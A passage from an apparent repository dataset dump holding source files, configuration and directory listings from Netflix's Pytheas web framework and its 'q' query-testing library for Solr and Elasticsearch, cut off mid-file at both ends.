mainLayout;\n\n$(document).ready(function() {\n mainLayout = $('body').layout({\n \tdefaults : {\n resizable: false,\n slidable: false,\n \t\tspacing_open:\t\t0,\n \t\tspacing_closed:\t\t0,\n togglerLength_open: 0 // HIDE the toggler button\n \t},\n \tsouth : {\n \t\tpaneSelector:\t\".outer-south\"\n \t},\n \tcenter : {\n \t\tpaneSelector:\t\".outer-center\"\n \t},\n \tnorth : {\n \t\tpaneSelector:\t\".outer-north\",\n showOverflowOnHover: true\n \t}\n });\n \n <#if Explorer?exists>\n \tvar module = $(\"#nf-modules option[value='${Explorer.name}']\");\n \tif (module.length > 0) \n \t\tmodule.attr('selected', 'selected');\n document.title = \"${Global.applicationName} - ${Explorer.title}\"; \n <#else>\n document.title = \"${Global.applicationName}\"; \n </#if>\n\t\n\t$( \".message-container .ui-icon-closethick\" ).live(\"click\", function() {\n\t\t$( this ).parent().parent().hide();\n\t});\n\t\n\t$( \".portlet-header .portlet-toggle\" ).live(\"click\", function() {\n\t\t$( this ).toggleClass( \"ui-icon-minusthick\" ).toggleClass( \"ui-icon-plusthick\" );\n\t\t$( this ).parents( \".portlet:first\" ).find( \".portlet-content\" ).toggle();\n\t});\n\n $(\"#breadcrumbs\").jBreadCrumb({minimumCompressionElements: 10});\n \n});", "pytheas-core\\src\\main\\resources\\layout\\main\\main.ftl": "<#include \"js_css_include.ftl\"/>\n<script type=\"text/javascript\">\n<#include \"main.js\"/>\n<#include \"header.js\"/>\n</script>\n\n<#macro toolbar>\n</#macro>\n\n<#macro breadcrumbs>\n<div><span id=\"ca-breadcrumbs\"></span></div>\n</#macro>\n\n<#macro body>\nMissing body macro for ${nestedpage}\n</#macro>\n\n<#macro render_menu m prefix=\"\">\n <#list m.children?keys as name>\n <#assign menu = m.children[name]>\n <#if menu.hasChildren()>\n <li class=\"menuButton dropdown\"><a class=\"menu-${prefix}${menu.name}\"><span>${menu.title}</span></a>\n <ul><@render_menu menu prefix+menu.name+\"-\"/></ul>\n </li>\n <#else>\n <li class=\"menuButton\"><a href=\"${RequestContext.pathToRoot}${Explorer.name}/${menu.href}\" class=\"menu-${prefix}${menu.name}\">${menu.title}</a></li>\n </#if>\n </#list>\n</#macro>\n\n<#include \"${nestedpage}\">\n\n<html>\n <body>\n <div class=\"outer-north\">\n <#include \"header.ftl\"/>\n <#if Explorer.menu?exists>\n <ul class=\"nav navcontainer\">\n <@render_menu Explorer.menu/>\n </ul>\n <div class=\"toolbarcontainer\">\n <div class=\"toolbarcustom\">\n <@toolbar/>\n </div>\n </div>\n </#if>\n </div> \n \n <div class=\"outer-center\">\n<@body/>\n </div>\n \n <div class=\"outer-south env-${Global.environmentName}\">\n <#include \"footer.ftl\"/>\n </div>\n \n </body>\n</html>\n\n", "pytheas-core\\src\\main\\resources\\layout\\main\\main.js": "var mainLayout;\n\n$(document).ready(function() {\n mainLayout = $('body').layout({\n \tdefaults : {\n resizable: false,\n slidable: false,\n \t\tspacing_open:\t\t0,\n \t\tspacing_closed:\t\t0,\n togglerLength_open: 0, // HIDE the toggler button\n \t},\n \tsouth : {\n \t\tpaneSelector:\t\".outer-south\",\n \t},\n \tcenter : {\n \t\tpaneSelector:\t\".outer-center\",\n \t},\n \tnorth : {\n \t\tpaneSelector:\t\".outer-north\",\n showOverflowOnHover: true,\n \t}\n });\n \n $.each($(\".menuButton a\"), function() {\n \tvar href = $(this).attr(\"href\");\n \tif (href && href.indexOf(\"${RequestContext.pathInfo}\") != -1) {\n \t $(this).parent().addClass(\"selected\");\n \t\treturn false;\n \t}\n });\n \n <#if Explorer?exists>\n \tvar module = $(\"#nf-modules option[value='${Explorer.name}']\");\n \tif (module.length > 0) \n \t\tmodule.attr('selected', 'selected');\n document.title = \"${Global.applicationName} - ${Explorer.title}\"; \n <#else>\n document.title = \"${Global.applicationName}\"; \n </#if>\n \n\t$( \".message-container .ui-icon-closethick\" ).live(\"click\", function() {\n\t\t$( this ).parent().parent().hide();\n\t});\n\t\n\t$( \".portlet-header .portlet-toggle\" ).live(\"click\", function() {\n\t\t$( this ).toggleClass( \"ui-icon-minusthick\" ).toggleClass( \"ui-icon-plusthick\" );\n\t\t$( this ).parents( \".portlet:first\" ).find( \".portlet-content\" ).toggle();\n\t});\n\n $(\"#breadcrumbs\").jBreadCrumb({minimumCompressionElements: 10});\n \n});", "pytheas-helloworld\\src\\main\\java\\com\\netflix\\explorers\\helloworld\\resources\\HelloWorldAppResource.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers.helloworld.resources;\n\nimport com.sun.jersey.api.view.Viewable;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.ws.rs.GET;\nimport javax.ws.rs.Path;\nimport javax.ws.rs.Produces;\nimport javax.ws.rs.core.MediaType;\nimport java.util.HashMap;\nimport java.util.Map;\n\n\n@Path(\"/\")\npublic class HelloWorldAppResource {\n private Logger LOG = LoggerFactory.getLogger(HelloWorldAppResource.class);\n\n @GET\n @Produces( MediaType.TEXT_HTML )\n public Viewable showIndex()\n {\n LOG.info(\"home page\");\n Map<String, Object> model = new HashMap<String, Object>();\n return new Viewable( \"/helloworld/home.ftl\", model );\n }\n}", "pytheas-helloworld\\src\\main\\resources\\helloworld-app-explorers.properties": "com.netflix.explorers.environmentName=test\ncom.netflix.explorers.applicationName=HelloWorld\ncom.netflix.explorers.applicationVersion=1.0\ncom.netflix.explorers.currentRegion=us-east-1", "pytheas-helloworld\\src\\main\\resources\\helloworld-app.properties": "# You must provide any specific packages that must be scanned for karyon for finding Application and Component classes.\n# By default karyon only searches com.netflix package\n# The package specified here is the root package, any subpackages under the root will also be scanned.\ncom.netflix.karyon.server.base.packages=com.netflix.explorers.resources;com.netflix.explorers.providers;com.netflix.explorers.guice;com.netflix.explorers.helloworld;\ncom.netflix.karyon.server.bootstrap.class= com.netflix.explorers.karyon.ExplorerKaryonServerBootstrap\n\n# Comment this property if you need eureka integration and populate eureka-client.properties with your environment details.\ncom.netflix.karyon.eureka.disable=true\n\ncom.netflix.pytheas.app.context=/*", "pytheas-helloworld\\src\\main\\resources\\helloworld\\index.ftl": "<#macro body>\n\n<#import \"/layout/bootstrap/simplepage.ftl\" as layout />\n\n<@layout.pagelayout title=\"Countries of the World\">\n\n<!-- Move your JavaScript code to an include file -->\n<script type=\"text/javascript\">\n<#include \"index.js\"/>\n</script>\n \n<!-- Customize your styles here -->\n<style>\n div.dataTables_filter label {\n float: left;\n margin-bottom: 15px;\n }\n</style>\n \n\n<!-- Define a table -->\n<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" class=\"table table-striped table-bordered dataTable\" id=\"country-table\" style=\"width:50%;\">\n</table>\n\n</@layout.pagelayout>\n\n</#macro>\n", "pytheas-helloworld\\src\\main\\resources\\helloworld\\index.js": "$(document).ready(function() {\n \"use strict\";\n document.title = \"HelloWorld Explorer\";\n\n $(\".breadcrumb\").nfBreadcrumbs({\n crumbs : [\n { text : \"Countries\" }\n ]\n });\n\n var oTable = $('#country-table').dataTable( {\n \"aoColumns\": [\n { \"sTitle\": \"Code\", \"mDataProp\" : \"code\", \"sWidth\" : \"10%\", \"sDefaultContent\": \"-\" },\n { \"sTitle\": \"Country\", \"mDataProp\" : \"name\", \"sWidth\" : \"90%\", \"sDefaultContent\": \"-\" }\n ],\n \"sAjaxDataProp\": \"countries\",\n \"sAjaxSource\": \"list\",\n \"bDestroy\" : true,\n \"bAutoWidth\" : false,\n \"bStateSave\" : true,\n \"bPaginate\" : false,\n \"bLengthChange\" : false\n });\n});\n", "pytheas-helloworld\\src\\test\\java\\com\\netflix\\explorers\\helloworld\\ExplorerAppTest.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers.helloworld;\n\n\nimport static org.junit.Assert.assertEquals;\n\nimport com.google.common.collect.ImmutableMap;\nimport com.google.inject.servlet.GuiceFilter;\nimport com.netflix.karyon.server.guice.KaryonGuiceContextListener;\n\nimport org.apache.http.HttpResponse;\nimport org.apache.http.client.HttpClient;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.DefaultHttpClient;\nimport org.apache.http.util.EntityUtils;\nimport org.eclipse.jetty.server.Server;\nimport org.eclipse.jetty.servlet.DefaultServlet;\nimport org.eclipse.jetty.servlet.ServletContextHandler;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.net.ServerSocket;\nimport java.util.Map;\n\nimport javax.ws.rs.core.MediaType;\n\npublic class ExplorerAppTest {\n private static final Logger LOG = LoggerFactory.getLogger(ExplorerAppTest.class);\n\n\n private static final Map<String, String> REST_END_POINTS = new ImmutableMap.Builder<String, String>()\n .put(\"/\", MediaType.TEXT_HTML)\n .put(\"/helloworld\", MediaType.TEXT_HTML)\n .put(\"/helloworld/list\", MediaType.APPLICATION_JSON)\n .build();\n\n\n private static int TEST_LOCAL_PORT;\n\n static {\n try {\n TEST_LOCAL_PORT = getLocalPort();\n } catch (IOException e) {\n LOG.error(\"IOException in finding local port for starting jetty \", e);\n }\n }\n\n\n private static int getLocalPort() throws IOException {\n ServerSocket ss = new ServerSocket(0);\n ss.setReuseAddress(true);\n return ss.getLocalPort();\n }\n\n private Server server;\n\n @Before\n public void init() throws Exception {\n System.setProperty(\"archaius.deployment.applicationId\",\"helloworld-app\");\n System.setProperty(\"archaius.deployment.environment\",\"dev\");\n\n server = new Server(TEST_LOCAL_PORT);\n\n ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);\n context.setContextPath(\"/\");\n context.addEventListener(new KaryonGuiceContextListener());\n\n context.addFilter(GuiceFilter.class, \"/*\", 1);\n context.addServlet(DefaultServlet.class, \"/\");\n\n server.setHandler(context);\n\n server.start();\n }\n\n @After\n public void cleanup() throws Exception {\n if (server != null) {\n server.stop();\n }\n }\n\n\n @Test\n public void verifyRESTEndpoints() throws Exception {\n HttpClient client = new DefaultHttpClient();\n for (Map.Entry<String, String> restEndPoint : REST_END_POINTS.entrySet()) {\n final String endPoint = buildLocalHostEndpoint(restEndPoint.getKey());\n LOG.info(\"REST endpoint \" + endPoint);\n HttpGet restGet = new HttpGet(endPoint);\n HttpResponse response = client.execute(restGet);\n assertEquals(200, response.getStatusLine().getStatusCode());\n assertEquals(restEndPoint.getValue(), response.getEntity().getContentType().getValue());\n\n // need to consume full response before make another rest call with\n // the default SingleClientConnManager used with DefaultHttpClient\n EntityUtils.consume(response.getEntity());\n }\n }\n\n private String buildLocalHostEndpoint(String endPoint) {\n return \"http://localhost:\" + TEST_LOCAL_PORT + endPoint;\n }\n\n}\n"} | null |
q | {"type": "directory", "name": "q", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "directory", "name": "img", "children": []}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "q.log"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "search", "children": [{"type": "directory", "name": "query", "children": [{"type": "directory", "name": "engine", "children": [{"type": "file", "name": "BaseIndexer.java"}, {"type": "file", "name": "BaseSearcher.java"}, {"type": "directory", "name": "es", "children": [{"type": "file", "name": "ElasticsearchIndexer.java"}, {"type": "file", "name": "ElasticsearchSearcher.java"}]}, {"type": "directory", "name": "solr", "children": [{"type": "file", "name": "SolrIndexer.java"}, {"type": "file", "name": "SolrSearcher.java"}]}]}, {"type": "directory", "name": "input", "children": [{"type": "file", "name": "Queries.java"}, {"type": "file", "name": "TitleWithQueries.java"}]}, {"type": "file", "name": "Properties.java"}, {"type": "file", "name": "QueryTests.java"}, {"type": "directory", "name": "report", "children": [{"type": "directory", "name": "detail", "children": [{"type": "file", "name": "DetailReport.java"}, {"type": "file", "name": "DetailReportDiff.java"}, {"type": "file", "name": "DetailReportHeader.java"}, {"type": "file", "name": "DetailReportItem.java"}]}, {"type": "directory", "name": "google", "children": [{"type": "file", "name": "GoogleDataExtractor.java"}, {"type": "file", "name": "GoogleSheetsService.java"}]}, {"type": "file", "name": "Report.java"}, {"type": "file", "name": "ReportItem.java"}, {"type": "file", "name": "ReportType.java"}, {"type": "file", "name": "ResultType.java"}, {"type": "directory", "name": "summary", "children": [{"type": "file", "name": "SummaryReport.java"}, {"type": "file", "name": "SummaryReportDiff.java"}, {"type": "file", "name": "SummaryReportHeader.java"}, {"type": "file", "name": "SummaryReportItem.java"}]}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "DateUtil.java"}, {"type": "file", "name": "HeaderUtils.java"}, {"type": "file", "name": "StringUtils.java"}, {"type": "file", "name": "TitleIdUtils.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "config-es.properties"}, {"type": "file", "name": "config.properties"}, {"type": "file", "name": "log4j.properties"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "search", "children": [{"type": "directory", "name": "query", "children": [{"type": "directory", "name": "engine", "children": [{"type": "directory", "name": "es", "children": [{"type": "file", "name": "ElasticsearchIndexerTest.java"}, {"type": "file", "name": "ElasticsearchSearcherTest.java"}]}, {"type": "directory", "name": "solr", "children": [{"type": "file", "name": "SolrIndexerTest.java"}, {"type": "file", "name": "SolrSearcherTest.java"}]}]}, {"type": "directory", "name": "input", "children": [{"type": "file", "name": "QueriesTest.java"}]}, {"type": "file", "name": "QueryTestsTest.java"}, {"type": "directory", "name": "report", "children": [{"type": "directory", "name": "detail", "children": [{"type": "file", "name": "DetailReportTest.java"}]}, {"type": "directory", "name": "summary", "children": [{"type": "file", "name": "SummaryReportTest.java"}]}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "DateUtilsTest.java"}, {"type": "file", "name": "HeaderUtilsTest.java"}, {"type": "file", "name": "StringUtilsTest.java"}]}]}]}]}]}]}]}]}]} | Query Testing Framework
=====
DESCRIPTION
-----------
Query testing framework is a library which allows one to test a dataset of queries against a search engine. The focus is on
the handling the tokens specific to different languages (word delimiters, special characters, morphemes, etc...). Different datasets
are maintained in google spreadsheets, which can be easily populated by the testers. This library then reads the datasets, runs the
tests against the search engine and publishes the results. For more details, see the
http://techblog.netflix.com/2016/07/global-languages-support-at-netflix.html
https://github.com/Netflix/q/wiki
SETUP
-----------
To set up the google spreadsheets dataset, as well as the instructions for Solr and Elasticsearch setup/configurations see this document:
https://github.com/Netflix/q/wiki/Setting-up-Google-Spreadsheets
https://github.com/Netflix/q/wiki/Setting-up-for-Solr
https://github.com/Netflix/q/wiki/Setting-up-for-Elasticsearch
DATA MAINTENANCE
----------------
The deletion of any data was removed from the module by design. When the dataset is updated (e.g. new tests are run), the search engine stale dataset removal is the developer responsibility.
BUILDING
-----------
https://github.com/Netflix/q/wiki/Building
RUNNING
-----------
https://github.com/Netflix/q/wiki/Running
ARTIFACTS
-----------
Query testing framework binaries are published to Maven Central.
`compile 'com.netflix.search:q:latest.release'`
DEFAULT PROPERTIES OVERRIDING:
-----------
Override the default properties by adding this to command line:
`-Darchaius.configurationSource.additionalUrls=file:///data/config-LOCAL_PROPERTIES.properties`
AUTHOR
-----------
Ivan Provalov (mailto:[email protected])
LICENSE
-----------
Copyright 2016 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Wed May 06 12:34:58 PDT 2020\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-6.8.3-bin.zip\n", "src\\main\\java\\com\\netflix\\search\\query\\engine\\BaseIndexer.java": "/**\n * Copyright 2016 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.search.query.engine;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.google.common.collect.Sets;\nimport com.netflix.search.query.Properties;\nimport com.netflix.search.query.utils.StringUtils;\nimport com.sun.jersey.api.client.Client;\nimport com.sun.jersey.api.client.ClientResponse;\nimport com.sun.jersey.api.client.WebResource;\n\npublic abstract class BaseIndexer {\n public static final Logger logger = LoggerFactory.getLogger(BaseIndexer.class);\n\n public static final String ENCODING = \"UTF-8\";\n private static final int BUFFER_SIZE = 1 << 16; // 64K\n private Client client = Client.create();\n\n private String inputFileName=null;\n private String testName=null;\n\n public BaseIndexer(String inputFileName, String testName) {\n this.inputFileName = inputFileName;\n this.testName = testName;\n }\n \n public void indexData(List<String> languages) throws Throwable\n {\n long start = System.currentTimeMillis();\n List<Map<String, Object>> docs = createDocs(languages);\n update(docs);\n commit();\n logger.info(\"Indexing took: \" + (System.currentTimeMillis() - start) + \" ms\");\n }\n\n protected List<Map<String, Object>> createDocs(List<String> languages) throws Throwable\n {\n List<Map<String, Object>> docs = new ArrayList<Map<String, Object>>();\n\n InputStream is = new BufferedInputStream(new FileInputStream(inputFileName), BUFFER_SIZE);\n BufferedReader reader = new BufferedReader(new InputStreamReader(is, ENCODING), BUFFER_SIZE);\n String lineString = null;\n while ((lineString = reader.readLine()) != null) {\n String[] line = lineString.split(Properties.inputDelimiter.get());\n\t\t\tif (lineString.startsWith(Properties.idField.get() + Properties.inputDelimiter.get()))\n\t\t\t\tcontinue;\n if (line.length < 3)\n logger.error(\"Bad data: \" + lineString);\n else\n docs.add(createDoc(line[0], line[1], line[2], line[3], languages));\n }\n reader.close();\n is.close();\n return docs;\n }\n\n public Map<String, Object> createDoc(String id, String english, String local, String altTitle, List<String> languages)\n {\n Map<String, Object> doc = new HashMap<String, Object>();\n doc.put(Properties.idField.get(), StringUtils.createIdUsingTestName(id, testName));\n \n for(String requiredField:Properties.requiredNumericFields.get())\n \tdoc.put(requiredField, 1);\n\n for(String requiredField:Properties.requiredStringFields.get())\n \tdoc.put(requiredField, \"query_testing_default\");\n\n if (local != null && local.length() > 0) {\n for (String language: languages){\n \tfor(String fieldName: Properties.titleFields.get()) {\n\t\t\t\t\tdoc.put(fieldName + \"_\" + language, addValue(doc, language, fieldName, local));\n\t\t\t\t\t//TODO: bug?\n\t\t\t\t\tif (Properties.languagesRequiringTransliterationFromEnglish.get().contains(language) && fieldName.equals(Properties.transliterationFieldName.get()))\n\t\t\t\t\t\tdoc.put(fieldName + \"_\" + language, english);\n\t\t\t\t}\n }\n }\n if (english != null && english.length() > 0) {\n \tfor(String fieldName: Properties.titleFields.get())\n\t\t\t\tdoc.put(fieldName + \"_en\", english);\n }\n\t\tif (altTitle != null && altTitle.length() > 0) {\n\t\t\tfor (String language : languages) {\n\t\t\t\tif (Properties.languagesRequiringAdditionalField.get().contains(language))\n\t\t\t\t\tfor (String fieldName : Properties.titleAkaFields.get()) {\n\t\t\t\t\t\tdoc.put(fieldName + \"_\" + language, addValue(doc, language, fieldName, altTitle));\n\t\t\t\t\t}\n\t\t\t}\n\t\t}\n\n doc.put(Properties.docTypeFieldName.get(), testName);\n \n return doc;\n }\n\n\tprivate Set<String> addValue(Map<String, Object> doc, String language, String fieldName, String title)\n\t{\n\t\t@SuppressWarnings(\"unchecked\")\n\t\tSet<String> existingValues = (Set<String>)doc.get(fieldName + \"_\" + language);\n\t\tif(existingValues==null) existingValues = Sets.newHashSet();\n\t\texistingValues.add(title);\n\t\treturn existingValues;\n\t}\n\n\tprivate boolean update(List<Map<String, Object>> docs) throws IOException {\n\t\tfor (Map<String, Object> doc : docs) {\n\t\t\ttry {\n\t\t\t\taddDoc(doc);\n\t\t\t} catch (Throwable e) {\n\t\t\t\tlogger.error(\"bad doc\" + doc);\n\t\t\t\tthrow new RuntimeException(e);\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\n\tvoid addDoc(Map<String, Object> doc)\n\t{\n\t\tJsonNode node = new ObjectMapper().valueToTree(doc);\n\t\tStringBuilder jsonString = getJsonStringOfDoc(node);\n\n\t\tWebResource webResource = client.resource(getUrlForAddingDoc(doc));\n\t\tClientResponse response = webResource.type(\"application/json\").post(ClientResponse.class, jsonString.toString());\n\t\tif (response == null || (response.getStatus() != 201 && response.getStatus() != 200))\n\t\t{\n\t\t\tthrow new RuntimeException(\"Failed : HTTP error code on adding a doc: \" + response.getStatus());\n\t\t}\n\t\tresponse.close();\n\t}\n\n\tpublic StringBuilder getJsonStringOfDoc(JsonNode node)\n\t{\n\t\tStringBuilder jsonString = new StringBuilder(\"[\");\n\t\tnodeAsString(node, jsonString);\n\t\tjsonString.append(\"]\");\n\t\treturn jsonString;\n\t}\n\n\tpublic void nodeAsString(JsonNode node, StringBuilder jsonString)\n\t{\n\t\ttry\n\t\t{\n\t\t\tjsonString.append(new ObjectMapper().writeValueAsString(node));\n\t\t} catch (JsonProcessingException e)\n\t\t{\n\t\t\tlogger.error(\"Error trying to generate a string from a json node\", e);\n\t\t}\n\t}\n\n\tvoid commit()\n\t{\n\t\tWebResource webResource = client.resource(getUrlForCommitting());\n\t\tClientResponse response = webResource.get(ClientResponse.class);\n\t\tif (response == null || (response.getStatus() != 201 && response.getStatus() != 200))\n\t\t{\n\t\t\tthrow new RuntimeException(\"Failed : HTTP error code on commit: \" + response.getStatus());\n\t\t}\n\t\tresponse.close();\n\t}\n\t\n public String getServerUrl(){\n \treturn \"http://\" + Properties.engineHost.get() + \":\" + Properties.enginePort.get() + \"/\" + Properties.engineServlet.get() + \"/\" + Properties.engineIndexName.get();\n }\n\t\n\tpublic abstract String getUrlForAddingDoc(Map<String, Object> doc);\n\tpublic abstract String getUrlForCommitting();\n\n\n}", "src\\main\\java\\com\\netflix\\search\\query\\engine\\es\\ElasticsearchIndexer.java": "/**\n * Copyright 2016 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.search.query.engine.es;\n\nimport java.util.Map;\n\nimport com.fasterxml.jackson.databind.JsonNode;\nimport com.netflix.search.query.Properties;\nimport com.netflix.search.query.engine.BaseIndexer;\n\npublic class ElasticsearchIndexer extends BaseIndexer {\n\n public ElasticsearchIndexer(String inputFileName, String testName) {\n super(inputFileName, testName);\n }\n\n\t@Override\n\tpublic String getUrlForAddingDoc(Map<String, Object> doc)\n\t{\n\t\treturn getServerUrl()+\"/\"+Properties.esDocType.get()+\"/\" + doc.get(\"id\").toString();\n\t}\n\n\t@Override\n\tpublic String getUrlForCommitting()\n\t{\n\t\treturn getServerUrl()+\"/_flush\";\n\t}\n \n\t@Override\n\tpublic StringBuilder getJsonStringOfDoc(JsonNode node)\n\t{\n\t\tStringBuilder jsonString = new StringBuilder();\n\t\tnodeAsString(node, jsonString);\n\t\treturn jsonString;\n\t}\n}", "src\\main\\java\\com\\netflix\\search\\query\\engine\\solr\\SolrIndexer.java": "/**\n * Copyright 2016 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.search.query.engine.solr;\n\nimport java.util.Map;\n\nimport com.netflix.search.query.engine.BaseIndexer;\n\npublic class SolrIndexer extends BaseIndexer{\n\n \n public SolrIndexer(String inputFileName, String testName) {\n super(inputFileName, testName);\n }\n\n\t@Override\n\tpublic String getUrlForAddingDoc(Map<String, Object> doc)\n\t{\n\t\treturn getServerUrl()+\"/update\";\n\t}\n\n\t@Override\n\tpublic String getUrlForCommitting()\n\t{\n\t\treturn getServerUrl()+\"/update?commit=true\";\n\t}\n \n}", "src\\test\\java\\com\\netflix\\search\\query\\engine\\es\\ElasticsearchIndexerTest.java": "/**\n * Copyright 2016 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.search.query.engine.es;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.testng.Assert;\nimport org.testng.annotations.Test;\nimport org.testng.collections.Maps;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Sets;\nimport com.netflix.search.query.Properties;\nimport com.netflix.search.query.engine.BaseIndexer;\n\npublic class ElasticsearchIndexerTest {\n\tprivate static final String LOCALE = \"es\";\n\tprivate static final String ID = \"123\";\n\tprivate static final String ALT_TITLE = \"title es 2\";\n\tprivate static final String SPANISH_TITLE = \"title es\";\n\tprivate static final String ENGLISH_TITLE = \"title en\";\n\tprivate static final String TEST1 = \"test1\";\n\n\t@Test\n\tvoid createDocTest()\n\t{\n\n\t\tBaseIndexer indexer = new ElasticsearchIndexer(\"\", TEST1);\n\t\tList<String> languages = Lists.newArrayList();\n\t\tlanguages.add(LOCALE);\n\t\tMap<String, Object> createdDoc = indexer.createDoc(ID, ENGLISH_TITLE, SPANISH_TITLE, ALT_TITLE, languages);\n\t\tMap<String, Object> expectedDoc = Maps.newHashMap();\n\t\texpectedDoc.put(Properties.idField.get(), ID + \"_\" + TEST1);\n\t\texpectedDoc.put(Properties.titleFields.get().get(0) + \"_en\", ENGLISH_TITLE);\n\t\tSet<Object> localizedTitles = Sets.newHashSet();\n\t\tlocalizedTitles.add(SPANISH_TITLE);\n\t\texpectedDoc.put(Properties.titleFields.get().get(0) + \"_es\", 